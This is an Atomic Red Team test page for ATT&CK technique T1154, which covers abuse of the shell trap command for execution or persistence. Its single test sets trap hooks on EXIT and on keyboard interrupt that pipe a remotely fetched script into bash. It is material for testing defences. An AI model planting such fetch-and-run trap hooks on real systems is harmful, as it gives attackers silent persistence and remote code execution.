atomic-red-team/atomics/T1154/T1154.md

T1154 - Trap

Description from ATT&CK

The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where "command list" will be executed when "signals" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)

Atomic Tests

• Atomic Test #1 - Trap

Atomic Test #1 - Trap

After exiting the shell, the script will download and execute.

After sending a keyboard interrupt (CTRL+C) the script will download and execute.

Supported Platforms: macOS, CentOS, Ubuntu, Linux

Run it with sh!

trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh | bash' EXIT
exit
trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh | bash' INT